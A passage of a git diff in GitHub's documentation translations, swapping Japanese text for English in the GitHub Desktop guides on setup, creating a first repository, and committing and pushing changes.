installed, you can download and install the latest version of Git from [https://git-scm.com/downloads](https://git-scm.com/downloads). -## パート 3: Git の設定 -{% data variables.product.prodname_desktop %} を使用する前に Git をインストールしておく必要があります。 Git をまだインストールしていない場合は、[https://git-scm.com/downloads](https://git-scm.com/downloads) から最新バージョンの Git をダウンロードしてインストールできます。 +After you have Git installed, you'll need to configure Git for {% data variables.product.prodname_desktop %}. For more information, see "[Configuring Git for {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop)." -Git をインストールしたら、{% data variables.product.prodname_desktop %} 用に Git を設定する必要があります。 詳しい情報については、「[{% data variables.product.prodname_desktop %} の Git を設定する](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop)」を参照してください。 +## Part 4: Customizing {% data variables.product.prodname_desktop %} +You can adjust defaults and settings to tailor {% data variables.product.prodname_desktop %} to your needs. -## パート 4: {% data variables.product.prodname_desktop %} のカスタマイズ -デフォルトや設定を変更して、{% data variables.product.prodname_desktop %} をニーズに合わせて調整できます。 +### Choosing a default text editor +You can open a text editor from {% data variables.product.prodname_desktop %} to manipulate files and repositories. {% data variables.product.prodname_desktop %} supports a variety of text editors and integrated development environments (IDEs) for Windows and macOS. You can choose a default editor in the {% data variables.product.prodname_desktop %} settings. For more information, see "[Configuring a default editor](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)." -### デフォルトのテキストエディタを選択する -{% data variables.product.prodname_desktop %} からテキストエディタを開いて、ファイルとリポジトリを操作できます。 {% data variables.product.prodname_desktop %} は、Windows および macOS 用のさまざまなテキストエディタと統合開発環境 (IDE) をサポートしています。 {% data variables.product.prodname_desktop %} 設定でデフォルトのエディタを選択できます。 詳しい情報については、「[デフォルトエディタを設定する](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)」を参照してください。 - -### テーマを選択する -{% data variables.product.prodname_desktop %} には、アプリの見た目をカスタマイズする際に利用できる複数のテーマがあります。 {% data variables.product.prodname_desktop %} 設定でテーマを選択できます。 詳しい情報については、「[{% data variables.product.prodname_desktop %} のテーマを設定する](/desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop)」を参照してください。 +### Choosing a theme +{% data variables.product.prodname_desktop %} has multiple themes available to customize the look and feel of the app. You can choose a theme in the {% data variables.product.prodname_desktop %} settings. For more information, see "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop)." diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md index 95ee5bca5c..d22489d472 100644 --- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md +++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md @@ -1,98 +1,112 @@ --- -title: GitHub Desktop を使った最初のリポジトリ作成方法 -shortTitle: 最初のリポジトリを作成する -intro: '{% data variables.product.prodname_desktop %} を使って、コマンドラインを使用せずに Git リポジトリを作成および管理できます。' +title: Creating your first repository using GitHub Desktop +shortTitle: Creating your first repository +intro: 'You can use {% data variables.product.prodname_desktop %} to create and manage a Git repository without using the command line.' redirect_from: - /desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop - /desktop/installing-and-configuring-github-desktop/creating-your-first-repository-using-github-desktop versions: fpt: '*' --- +## Introduction +{% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. By the end of this guide, you'll have used {% data variables.product.prodname_desktop %} to create a repository, make changes to the repository, and publish the changes to {% data variables.product.product_name %}. -## はじめに -{% data variables.product.prodname_desktop %} は、コマンドライン上でテキストコマンドを使うのではなく、ビジュアルインターフェースを使って、あなたの {% data variables.product.prodname_dotcom_the_website %} ワークフローを拡張し簡略化します。 このガイドをとおして、{% data variables.product.prodname_desktop %} を使用してリポジトリを作成し、リポジトリに変更を加え、最後に変更を {% data variables.product.product_name %} に公開するところまでを行います。 +After installing {% data variables.product.prodname_desktop %} and signing into {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} you can create and clone a tutorial repository. The tutorial will introduce the basics of working with Git and {% data variables.product.prodname_dotcom %}, including installing a text editor, creating a branch, making a commit, pushing to {% data variables.product.prodname_dotcom_the_website %}, and opening a pull request. The tutorial is available if you do not have any repositories on {% data variables.product.prodname_desktop %} yet. -{% data variables.product.prodname_desktop %} をインストールし、{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} にサインインした後、チュートリアルリポジトリを作成してクローンできます。 チュートリアルでは、テキストエディタのインストール、ブランチの作成、コミットの作成、{% data variables.product.prodname_dotcom_the_website %} へのプッシュ、プルリクエストの開始など、Gitと {% data variables.product.prodname_dotcom %} で作業するための基本をご紹介します。 チュートリアルは、{% data variables.product.prodname_desktop %} にリポジトリが未作成の場合に利用できます。 +We recommend completing the tutorial, but if you want to explore {% data variables.product.prodname_desktop %} by creating a new repository, this guide will walk you through using {% data variables.product.prodname_desktop %} to work on a Git repository. -チュートリアルを最後まで完了することをお勧めしますが、新しいリポジトリを作成することで {% data variables.product.prodname_desktop %} を学ぶ場合は、このガイドで {% data variables.product.prodname_desktop %} を使用して Git で作業する方法を説明します。 +## Part 1: Installing {% data variables.product.prodname_desktop %} and authenticating your account +You can install {% data variables.product.prodname_desktop %} on any supported operating system. After you install the app, you will need to sign in and authenticate your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} before you can create and clone a tutorial repository. -## パート 1: {% data variables.product.prodname_desktop %} をインストールしてアカウントを認証する -{% data variables.product.prodname_desktop %} は、サポートされている任意のオペレーティングシステムにインストールできます。 アプリをインストールした後、チュートリアルリポジトリを作成して複製する前に、{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} でアカウントにサインインして認証する必要があります。 +For more information on installing and authenticating, see "[Setting up {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop)." -インストールと認証の詳細については、「[{% data variables.product.prodname_desktop %} の設定](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop)」を参照してください。 +## Part 2: Creating a new repository +If you do not have any repositories associated with {% data variables.product.prodname_desktop %}, you will see a "Let's get started!" view, where you can choose to create and clone a tutorial repository, clone an existing repository from the Internet, create a new repository, or add an existing repository from your hard drive. + ![The Let's get started! screen](/assets/images/help/desktop/lets-get-started.png) -## パート 2: 新しいリポジトリを作成する -{% data variables.product.prodname_desktop %} に関連付けられたリポジトリがない場合は、「Let's get started!」ビューが表示されます。ここでは、チュートリアルリポジトリの作成と複製、インターネットからの既存のリポジトリの複製、新しいリポジトリの作成、またはハードドライブからの既存のリポジトリの追加を選択できます。 ![さあ、始めましょう！ screen](/assets/images/help/desktop/lets-get-started.png) +### Creating and cloning a tutorial repository +We recommend that you create and clone a tutorial repository as your first project to practice using {% data variables.product.prodname_desktop %}. -### チュートリアルリポジトリの作成とクローン -{% data variables.product.prodname_desktop %} を使用して練習する最初のプロジェクトとして、チュートリアルリポジトリを作成してクローンすることをお勧めします。 +1. Click **Create a tutorial repository and clone it**. + ![Create and clone a tutorial repository button](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png) +2. Follow the prompts in the tutorial to install a text editor, create a branch, edit a file, make a commit, publish to {% data variables.product.prodname_dotcom %}, and open a pull request. -1. [**Create a tutorial repository and clone it**] をクリックします。 ![[Create and clone a tutorial repository] ボタン](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png) -2. チュートリアルのプロンプトに従って、テキストエディタのインストール、ブランチの作成、ファイルの編集、コミットの作成、{% data variables.product.prodname_dotcom %} への公開、プルリクエストのオープンを行います。 +### Creating a new repository +If you do not wish to create and clone a tutorial repository, you can create a new repository. -### 新しいリポジトリの作成 -チュートリアルリポジトリを作成してクローンしない場合は、新しいリポジトリを作成できます。 +1. Click **Create a New Repository on your Hard Drive...**. + ![Create a new repository](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png) +2. Fill in the fields and select your preferred options. + ![Create a repository options](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png) + - "Name" defines the name of your repository both locally and on {% data variables.product.product_name %}. + - "Description" is an optional field that you can use to provide more information about the purpose of your repository. + - "Local path" sets the location of your repository on your computer. By default, {% data variables.product.prodname_desktop %} creates a _GitHub_ folder inside your _Documents_ folder to store your repositories, but you can choose any location on your computer. Your new repository will be a folder inside the chosen location. For example, if you name your repository `Tutorial`, a folder named _Tutorial_ is created inside the folder you selected for your local path. {% data variables.product.prodname_desktop %} remembers your chosen location the next time you create or clone a new repository. + - **Initialize this repository with a README** creates an initial commit with a _README.md_ file. READMEs helps people understand the purpose of your project, so we recommend selecting this and filling it out with helpful information. When someone visits your repository on {% data variables.product.product_name %}, the README is the first thing they'll see as they learn about your project. For more information, see "[About READMEs](/articles/about-readmes)." + - The **Git ignore** drop-down menu lets you add a custom file to ignore specific files in your local repository that you don't want to store in version control. If there's a specific language or framework that you'll be using, you can select an option from the available list. If you're just getting started, feel free to skip this selection. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)." + - The **License** drop-down menu lets you add an open-source license to a _LICENSE_ file in your repository. You don't need to worry about adding a license right away. For more information about available open-source licenses and how to add them to your repository, see "[Licensing a repository](/articles/licensing-a-repository)." +3. Click **Create repository**. -1. [**Create a New Repository on your Hard Drive...**] をクリックします。 ![新しいリポジトリの作成](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png) -2. フィールドに入力し、希望するオプションを選択します。 ![リポジトリの作成オプション](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png) - - [Name] は、ローカルと {% data variables.product.product_name %} の両方で使う、リポジトリの名前を定義します。 - - [Description] はオプションのフィールドで、リポジトリの目的に関する情報を提供するために使うことができます。 - - [Local path] は、お手元のコンピューターにおけるリポジトリの場所を設定します。 デフォルトでは、{% data variables.product.prodname_desktop %} は _Documents_ フォルダの中に_GitHub_ フォルダを作成して、そこにリポジトリを保存しますが、保存するフォルダは任意の場所に設定可能です。 新しいリポジトリは、選択した場所の中のフォルダになります。 たとえば、リポジトリに `Tutorial` と名付けた場合、選択したローカルパスのフォルダの中に _Tutorial_ という名前のフォルダが作成されます。 {% data variables.product.prodname_desktop %} は、次に新しいリポジトリをクローンするか作成するときに、選択した場所を記憶します。 - - [**Initialize this repository with a README**] は、最初のコミットを _README.md_ ファイル付きで作成します。 README は、人々がプロジェクトの目的を理解するために役立つので、これを選択して、README に役立つ情報を記載することをおすすめします。 {% data variables.product.product_name %} でリポジトリにアクセスした人は、まず README を読んで、そのプロジェクトについて知ります。 詳細は「[README について](/articles/about-readmes)」を参照してください。 - - [**Git ignore**] ドロップダウンメニューは、バージョン管理で保存したくない、ローカルリポジトリ内で無視するファイルを指定するためのカスタムファイルを追加します。 特定の言語またはフレームワークを使用する場合、利用できるリストからオプションを選択できます。 まだ始めたばかりの場合は、この選択について無視して構いません。 詳細は「[ファイルを無視する](/github/getting-started-with-github/ignoring-files)」を参照してください。 - - [**License**] ドロップダウンメニューは、リポジトリの _LICENSE_ ファイルにオープンソースライセンスを追加します。 ライセンスをすぐに追加する必要はありません。 利用可能なオープンソースライセンスと、それらをリポジトリに追加する方法についての詳細は「[リポジトリのライセンス](/articles/licensing-a-repository)」を参照してください。 -3. [**Create repository**] をクリックします。 +## Part 3: Exploring {% data variables.product.prodname_desktop %} +In the file menu at the top of the screen, you can access settings and actions that you can perform in {% data variables.product.prodname_desktop %}. Most actions also have keyboard shortcuts to help you work more efficiently. For a full list of keyboard shortcuts, see "[Keyboard shortcuts](/desktop/getting-started-with-github-desktop/keyboard-shortcuts)." -## パート 3: {% data variables.product.prodname_desktop %} に触れる -画面上部のファイルメニューから、{% data variables.product.prodname_desktop %} で実行可能な設定や操作にアクセスできます。 作業の効率化のため、ほとんどのアクションにはキーボードショートカットも設定されています。 キーボードショートカットの一覧は「[キーボードショートカット](/desktop/getting-started-with-github-desktop/keyboard-shortcuts)」を参照してください。 +### The {% data variables.product.prodname_desktop %} menu bar +At the top of the {% data variables.product.prodname_desktop %} app, you will see a bar that shows the current state of your repository. + - **Current repository** shows the name of the repository you're working on. You can click **Current repository** to switch to a different repository in {% data variables.product.prodname_desktop %}. + - **Current branch** shows the name of the branch you're working on. You can click **Current branch** to view all the branches in your repository, switch to a different branch, or create a new branch. Once you create pull requests in your repository, you can also view these by clicking on **Current branch**. + - **Publish repository** appears because you haven't published your repository to {% data variables.product.product_name %} yet, which you'll do later in the next step. This section of the bar will change based on the status of your current branch and repository. Different context dependent actions will be available that let you exchange data between your local and remote repositories. -### {% data variables.product.prodname_desktop %} メニューバー -{% data variables.product.prodname_desktop %} アプリケーションの上部に、リポジトリの現在の状態を示すバーが表示されます。 - - [**Current repository**] では、現在作業中のリポジトリ名が表示されます。 [**Current repository**] をクリックすると、{% data variables.product.prodname_desktop %} の別のリポジトリに切り替えることができます。 - - [**Current branch**] では、作業中のブランチ名が表示されます。 [**Current branch**] をクリックすると、リポジトリ内のすべてのブランチの表示、別のブランチへの切り替え、新しいブランチの作成ができます。 リポジトリにプルリクエストを作成すると、[**Current branch**] をクリックしてプルリクエストを表示することもできます。 - - [**Publish repository**] が表示されるのは、まだリポジトリを {% data variables.product.product_name %} に公開していないためです。これについては、次のステップで扱います。 バーのこのセクションは、現在のブランチとリポジトリのステータスに基づいて変更されます。 ローカルリポジトリとリモートリポジトリの間でデータを交換できるようにする、さまざまなコンテキスト依存のアクションが利用可能になります。 + ![Explore GitHub Desktop](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png) - ![GitHub Desktop を探索する](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png) +### Changes and History +In the left sidebar, you'll find the **Changes** and **History** views. + ![The Changes and History tabs](/assets/images/help/desktop/changes-and-history.png) -### 変更と履歴 -左サイドバーには、[**Changes**] ビューと [**History**] ビューが表示されています。 ![[Changes] および [History] タブ](/assets/images/help/desktop/changes-and-history.png) + - The **Changes** view shows changes you've made to files in your current branch but haven't committed to your local repository. At the bottom, there is a box with "Summary" and "Description" text boxes and a **Commit to BRANCH** button. This is where you'll commit new changes. The **Commit to BRANCH** button is dynamic and will display which branch you're committing your changes to. + ![Commit area](/assets/images/help/desktop/getting-started-guide/commit-area.png) - - [**Changes**] ビューは、現在のブランチで変更を行い、まだローカルリポジトリにコミットしていないファイルが表示されます。 ビューの下部には、[Summary] および [Description] テキストボックスのあるボックスと [**Commit to BRANCH**] ボタンがあります。 これが、新しい変更をコミットする場所です。 [**Commit to BRANCH**] ボタンは動的で、変更をコミットするブランチが表示されます。 ![コミットエリア](/assets/images/help/desktop/getting-started-guide/commit-area.png) + - The **History** view shows the previous commits on the current branch of your repository. You should see an "Initial commit" that was created by {% data variables.product.prodname_desktop %} when you created your repository. To the right of the commit, depending on the options you selected while creating your repository, you may see _.gitattributes_, _.gitignore_, _LICENSE_, or _README_ files. You can click each file to see a diff for that file, which is the changes made to the file in that commit. The diff only shows the parts of the file that have changed, not the entire contents of the file. + ![History view](/assets/images/help/desktop/getting-started-guide/history-view.png) - - [**History**] ビューには、リポジトリの現在のブランチにおける以前のコミットが表示されます。 リポジトリを作成したときに、{% data variables.product.prodname_desktop %} によって作成された「最初のコミット」が表示されているはずです。 そのコミットの右側に、リポジトリを作成したときのオプションによっては、_.gitattributes_、_.gitignore_、_LICENSE_、_README_ ファイルが表示されているかもしれません。 各ファイルをクリックすると、そのファイルの diff が表示できます。これは、コミットでファイルに行った変更を示すものです。 diff には、ファイル全体の内容ではなく、変更を行った部分のみが表示されます。 ![[History] ビュー](/assets/images/help/desktop/getting-started-guide/history-view.png) +## Part 4: Publishing your repository to {% data variables.product.product_name %} +When you create a new repository, it only exists on your computer and you are the only one who can access the repository. You can publish your repository to {% data variables.product.product_name %} to keep it synchronized across multiple computers and allow other people to access it. To publish your repository, push your local changes to {% data variables.product.product_name %}. -## パート4: リポジトリを {% data variables.product.product_name %} に公開する -新しいリポジトリを作成する場合、そのリポジトリはコンピュータ上にのみ存在し、自分だけがアクセスできます。 リポジトリを {% data variables.product.product_name %} に公開して、複数のコンピュータ間で同期を維持し、他のユーザがアクセスできるようにすることができます。 リポジトリを公開するには、ローカルの変更を {% data variables.product.product_name %} にプッシュします。 +1. Click **Publish repository** in the menu bar. + ![Publish repository](/assets/images/help/desktop/getting-started-guide/publish-repository.png) + - {% data variables.product.prodname_desktop %} automatically fills the "Name" and "Description" fields with the information you entered when you created the repository. + - **Keep this code private** lets you control who can view your project. If you leave this option unselected, other users on {% data variables.product.product_name %} will be able to view your code. If you select this option, your code will not be publicly available. + - The **Organization** drop-down menu, if present, lets you publish your repository to a specific organization that you belong to on {% data variables.product.product_name %}. -1. メニューバーの [**Publish repository**] をクリックします。 ![[Publish repository]](/assets/images/help/desktop/getting-started-guide/publish-repository.png) - - {% data variables.product.prodname_desktop %} は、リポジトリの作成時に入力した情報を [Name] フィールドと [Description] フィールドに自動的に入力します。 - - [**Keep this code private**] を使用すると、プロジェクトを表示できるユーザを制御できます。 このオプションを選択していない場合、{% data variables.product.product_name %} の他のユーザがあなたのコードを表示できるようになります。 このオプションを選択すると、コードは公開されなくなります。 - - [**Organization**] ドロップダウンメニューがある場合は、{% data variables.product.product_name %} で所属している特定の Organization にリポジトリを公開できます。 + ![Publish repository steps](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png) + 2. Click the **Publish Repository** button. + 3. You can access the repository on {% data variables.product.prodname_dotcom_the_website %} from within {% data variables.product.prodname_desktop %}. In the file menu, click **Repository**, then click **View on GitHub**. This will take you directly to the repository in your default browser. - ![[Publish repository] のステップ](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png) - 2. **Publish Repository**ボタンをクリックします。 - 3. {% data variables.product.prodname_desktop %} から {% data variables.product.prodname_dotcom_the_website %} のリポジトリにアクセスできます。 ファイルメニューで、[**Repository**] をクリックしてから [**View on GitHub**] をクリックしてください。 デフォルトブラウザで、リポジトリに直接移動します。 +## Part 5: Making, committing, and pushing changes +Now that you've created and published your repository, you're ready to make changes to your project and start crafting your first commit to your repository. -## パート 5: 変更の作成、コミット、プッシュ -これまでの手順でリポジトリを作成して公開したら、プロジェクトに変更を加えて、リポジトリへの最初のコミットを作成することができます。 +1. To launch your external editor from within {% data variables.product.prodname_desktop %}, click **Repository**, then click **Open in EDITOR**. For more information, see "[Configuring a default editor](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)." + ![Open in editor](/assets/images/help/desktop/getting-started-guide/open-in-editor.png) -1. {% data variables.product.prodname_desktop %} 内から外部エディタを起動するには、[**Repository**] をクリックしてから [**Open in EDITOR**] をクリックします。 詳しい情報については、「[デフォルトエディタを設定する](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)」を参照してください。 ![[Open in editor]](/assets/images/help/desktop/getting-started-guide/open-in-editor.png) +2. Make some changes to the _README.md_ file that you previously created. You can add information that describes your project, like what it does and why it is useful. When you are satisfied with your changes, save them in your text editor. +3. In {% data variables.product.prodname_desktop %}, navigate to the **Changes** view. In the file list, you should see your _README.md_. The checkmark to the left of the _README.md_ file indicates that the changes you've made to the file will be part of the commit you make. In the future, you might make changes to multiple files but only want to commit the changes you've made to some of the files. If you click the checkmark next to a file, that file will not be included in the commit. + ![Viewing changes](/assets/images/help/desktop/getting-started-guide/viewing-changes.png) -2. 以前作成した _README.md_ ファイルにいくつかの変更を加えます。 何を行うのか、なぜ役立つのかなど、プロジェクトを説明する情報を追加できます。 変更が完了したら、テキストエディタに保存します。 -3. {% data variables.product.prodname_desktop %} で、[**Changes**] ビューに移動します。 ファイルのリストに、_README.md_ が表示されているはずです。 _README.md_ ファイルの左側にあるチェックマークは、ファイルに加えた変更がコミットの一部になることを示しています。 今後、複数のファイルに変更を行って、そのうちの一部のファイルのみの変更をコミットしたい場合があるかもしれません。 ファイルの横にあるチェックマークをクリックすると、そのファイルはコミットに含まれません。 ![変更を表示する](/assets/images/help/desktop/getting-started-guide/viewing-changes.png) +4. At the bottom of the **Changes** list, enter a commit message. To the right of your profile picture, type a short description of the commit. Since we're changing the _README.md_ file, "Add information about purpose of project" would be a good commit summary. Below the summary, you'll see a "Description" text field where you can type a longer description of the changes in the commit, which is helpful when looking back at the history of a project and understanding why changes were made. Since you're making a basic update of a _README.md_ file, you can skip the description. + ![Commit message](/assets/images/help/desktop/getting-started-guide/commit-message.png) +5. Click **Commit to BRANCH NAME**. The commit button shows your current branch so you can be sure to commit to the branch you want. + ![Commit to branch](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png) +6. To push your changes to the remote repository on {% data variables.product.product_name %}, click **Push origin**. + ![Push origin](/assets/images/help/desktop/getting-started-guide/push-to-origin.png) + - The **Push origin** button is the same one that you clicked to publish your repository to {% data variables.product.product_name %}. This button changes contextually based on where you are at in the Git workflow. It should now say `Push origin` with a `1` next to it, indicating that there is one commit that has not been pushed up to {% data variables.product.product_name %}. + - The "origin" in **Push origin** means that you are pushing changes to the remote called `origin`, which in this case is your project's repository on {% data variables.product.prodname_dotcom_the_website %}. Until you push any new commits to {% data variables.product.product_name %}, there will be differences between your project's repository on your computer and your project's repository on {% data variables.product.prodname_dotcom_the_website %}. This allows you to work locally and only push your changes to {% data variables.product.prodname_dotcom_the_website %} when you're ready. +7. In the window to the right of the **Changes** view, you'll see suggestions for actions you can do next. To open the repository on {% data variables.product.product_name %} in your browser, click **View on {% data variables.product.product_name %}**. + ![Available actions](/assets/images/help/desktop/available-actions.png) +8. In your browser, click **2 commits**. You'll see a list of the commits in this repository on {% data variables.product.product_name %}. The first commit should be the commit you just made in {% data variables.product.prodname_desktop %}. + ![Click two commits](/assets/images/help/desktop/getting-started-guide/click-two-commits.png) -4. [**Changes**] リストの下に、コミットメッセージを入力します。 プロフィール画像の右側で、コミットについて簡潔な説明を入力します。 ここでは _README.md_ ファイルを変更するので、「プロジェクトの目的について情報を追加する」などがコミットの要約として良いかもしれません。 概要の下に、コミットの変更詳しい説明を入力できる [Description] テキストフィールドが表示されます。これは、プロジェクトの履歴を振り返ったり、変更理由を確認するときに役立ちます。 今は _README.md_ ファイルの基本的な更新を行っているところなので、この内容は飛ばしてもかまいません。 ![コミットメッセージ](/assets/images/help/desktop/getting-started-guide/commit-message.png) -5. [**Commit to BRANCH NAME**] をクリックします。 コミットボタンには現在のブランチが表示されるので、必要なブランチに確実にコミットできます。 ![ブランチへのコミット](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png) -6. 変更を {% data variables.product.product_name %} のリモートリポジトリにプッシュするには、[**Push origin**] をクリックします。 ![[Push origin]](/assets/images/help/desktop/getting-started-guide/push-to-origin.png) - - [**Push origin**] ボタンは、リポジトリを {% data variables.product.product_name %} に公開する際にクリックしたボタンと同じです。 このボタンは、Git ワークフローの現在の場所に基づいてコンテキストが変わります。 ボタンが `Push origin` に変わり、横に `1` と表示されます。これは、{% data variables.product.product_name %} にプッシュされていないコミットが 1 つあることを示しています。 - - **Push origin** の「origin」は、`origin` というリモートに変更をプッシュしていることを示しています。この場合は、{% data variables.product.prodname_dotcom_the_website %} 上のプロジェクトのリポジトリです。 {% data variables.product.product_name %} に何か新しいコミットをプッシュするまで、お手元のコンピューターにあるプロジェクトのリポジトリと、{% data variables.product.prodname_dotcom_the_website %} にあるプロジェクトのリポジトリには違いがあります。 これにより、ローカルで作業し、準備ができたときにのみ変更を {% data variables.product.prodname_dotcom_the_website %} にプッシュできます。 -7. [**Changes**] ビューの右側のウィンドウに、次に実行可能なアクションの提案が表示されます。 ブラウザで {% data variables.product.product_name %} のリポジトリを開くには、[**View on {% data variables.product.product_name %}**] をクリックします。 ![利用可能なアクション](/assets/images/help/desktop/available-actions.png) -8. ブラウザで、[**2 commits**] をクリックします。 {% data variables.product.product_name %} にあるリポジトリの、コミットのリストが表示されます。 最初のコミットは、{% data variables.product.prodname_desktop %} で行ったコミットである必要があります。 ![2 つのコミットをクリック](/assets/images/help/desktop/getting-started-guide/click-two-commits.png) +## Conclusion +You've now created a repository, published the repository to {% data variables.product.product_name %}, made a commit, and pushed your changes to {% data variables.product.product_name %}. You can follow this same workflow when contributing to other projects that you create or collaborate on. -## おわりに -これで、リポジトリの作成、{% data variables.product.product_name %} へのリポジトリの公開、コミットの実行、{% data variables.product.product_name %} への変更のプッシュが完了しました。 作成やコラボレーションを行う他のプロジェクトに貢献するときに、これと同じワークフローを使用することができます。 - -## 参考リンク +## Further reading - "[Getting started with Git](/github/getting-started-with-github/getting-started-with-git)" -- 「[{% data variables.product.prodname_dotcom %} について学ぶ](/github/getting-started-with-github/learning-about-github)」 -- 「[{% data variables.product.prodname_dotcom %} を使ってみる](/github/getting-started-with-github)」 +- "[Learning about {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)" +- "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)" diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md index d5ba771259..cee8d198fa 100644 --- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md +++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md @@ -1,110 +1,111 @@ --- -title: GitHub Desktop を使ってみる -intro: '{% data variables.product.prodname_desktop %} のセットアップ、認証、構成して、自分のマシンから直接プロジェクトに貢献できるようにする方法を学びます。' +title: Getting started with GitHub Desktop +intro: 'Learn how to set up, authenticate, and configure {% data variables.product.prodname_desktop %} to allow you to contribute to projects directly from your machine.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' redirect_from: - /desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop -shortTitle: 始めましょう！ +shortTitle: Get started --- +## Introduction +{% data variables.product.prodname_desktop %} is an application that enables you to interact with {% data variables.product.prodname_dotcom %} using a GUI instead of the command line or a web browser. {% data variables.product.prodname_desktop %} encourages you and your team to collaborate using best practices with Git and {% data variables.product.prodname_dotcom %}. You can use {% data variables.product.prodname_desktop %} to complete most Git commands from your desktop with visual confirmation of changes. You can push to, pull from, and clone remote repositories with {% data variables.product.prodname_desktop %}, and use collaborative tools such as attributing commits and creating pull requests. -## はじめに -{% data variables.product.prodname_desktop %} は、コマンドラインや Web ブラウザの代わりに GUI を使用して {% data variables.product.prodname_dotcom %} とやり取りできるようにするアプリケーションです。 {% data variables.product.prodname_desktop %} は、あなたとあなたの Team が Git および {% data variables.product.prodname_dotcom %} とベストプラクティスを使用して共同開発することを推奨します。 {% data variables.product.prodname_desktop %} を使用すると、変更を視覚的に確認して、デスクトップからほとんどの Git コマンドを完了できます。 {% data variables.product.prodname_desktop %} を使用してリモートリポジトリにプッシュ、プル、およびクローンを作成し、コミットの関連付けやプルリクエストの作成などのコラボレーションツールを使用できます。 +This guide will help you get started with {% data variables.product.prodname_desktop %} by setting up the application, authenticating your account, configuring basic settings, and introducing the fundamentals of managing projects with {% data variables.product.prodname_desktop %}. You will be able to use {% data variables.product.prodname_desktop %} to collaborate on projects and connect to remote repositories after working through this guide. -このガイドは、アプリケーションのセットアップ、アカウントの認証、基本設定の構成、および {% data variables.product.prodname_desktop %} を使用したプロジェクト管理の基本を紹介しており、{% data variables.product.prodname_desktop %} の使用開始の際に役立ちます。 このガイドを実行すると、{% data variables.product.prodname_desktop %} を使用してプロジェクトでコラボレーションを行い、リモートリポジトリに接続できるようになります。 - -{% data variables.product.prodname_desktop %} を始める前に、Git と {% data variables.product.prodname_dotcom %} の基本を理解しておくと便利です。 詳しい情報については、次の記事を参照してください。 +You might find it helpful to have a basic understanding of Git and {% data variables.product.prodname_dotcom %} before getting started with {% data variables.product.prodname_desktop %}. For more information, see the following articles. - "[Using Git](/github/getting-started-with-github/using-git)" -- 「[{% data variables.product.prodname_dotcom %} について学ぶ](/github/getting-started-with-github/learning-about-github)」 -- 「[{% data variables.product.prodname_dotcom %} を使ってみる](/github/getting-started-with-github)」 +- "[Learning about {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)" +- "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)" -{% data variables.product.prodname_desktop %} はオープンソースプロジェクトです。 ロードマップの確認、プロジェクトへの貢献、および Issue をオープンしてフィードバックや機能のリクエストを提供することができます。 詳しい情報については、[`desktop/desktop`](https://github.com/desktop/desktop) を参照してください。 +{% data variables.product.prodname_desktop %} is an open source project. You can see the roadmap, contribute to the project, or open an issue to provide feedback or feature requests. For more information, see the [`desktop/desktop`](https://github.com/desktop/desktop) repository. -## パート 1: インストールと認証 -{% data variables.product.prodname_desktop %} は、サポートされている任意のオペレーティングシステムにインストールできます。 詳しい情報については、「[サポートされているオペレーティングシステム](/desktop/getting-started-with-github-desktop/supported-operating-systems)」を参照してください。 +## Part 1: Installing and authenticating +You can install {% data variables.product.prodname_desktop %} on any supported operating system. For more information, see "[Supported operating systems](/desktop/getting-started-with-github-desktop/supported-operating-systems)." -{% data variables.product.prodname_desktop %} をインストールするには、[{% data variables.product.prodname_desktop %}](https://desktop.github.com/) のダウンロードページにアクセスします。 詳しい情報については「[{% data variables.product.prodname_desktop %}のインストール](/desktop/installing-and-configuring-github-desktop/installing-github-desktop)」を参照してください。 +To install {% data variables.product.prodname_desktop %}, visit the download page for [{% data variables.product.prodname_desktop %}](https://desktop.github.com/). For more information, see "[Installing {% data variables.product.prodname_desktop 